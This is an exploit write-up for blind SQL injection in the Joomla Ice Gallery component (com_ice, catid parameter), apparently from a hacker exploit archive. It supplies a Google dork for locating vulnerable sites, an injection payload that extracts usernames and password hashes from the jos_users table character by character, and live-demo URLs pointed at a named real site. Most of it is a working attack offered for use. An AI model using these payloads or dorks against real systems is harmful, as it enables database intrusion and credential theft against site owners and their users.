Joomla Ice Gallery Component 0.5b2 Blind SQL Injection

`#############################################################  
Joomla Component com_ice(catid) Blind SQL-injection  
#############################################################  
  
  
###################################################  
#[~] Author : boom3rang   
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.  
#[~] Vulnerability : Blind SQL injection   
#[~] Google Dork : inurl:com_ice "catid"  
--------------------------------------------------  
#[!] <name>Ice Gallery</name>  
#[!] <creationDate>29/08/06</creationDate>  
#[!] <author>Markus Donhauser</author>  
#[!] <authorEmail>[email protected]</authorEmail>  
#[!] <version>0.5 beta 2</version>  
###################################################  
  
Example:  
http://localHost/path/index.php?option=com_ice&catid=1[SQL code]  
  
  
SQL code:  
and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96  
  
  
LiveDEMO:  
  
http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=4 >>(False)  
  
http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=5 >>(True)  
  
http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96  
  
  
  
  
##############################  
#[!] Proud 2 be Albanian  
#[!] Proud 2 be Muslim  
#[!] United States of Albania  
##############################  
  
  
`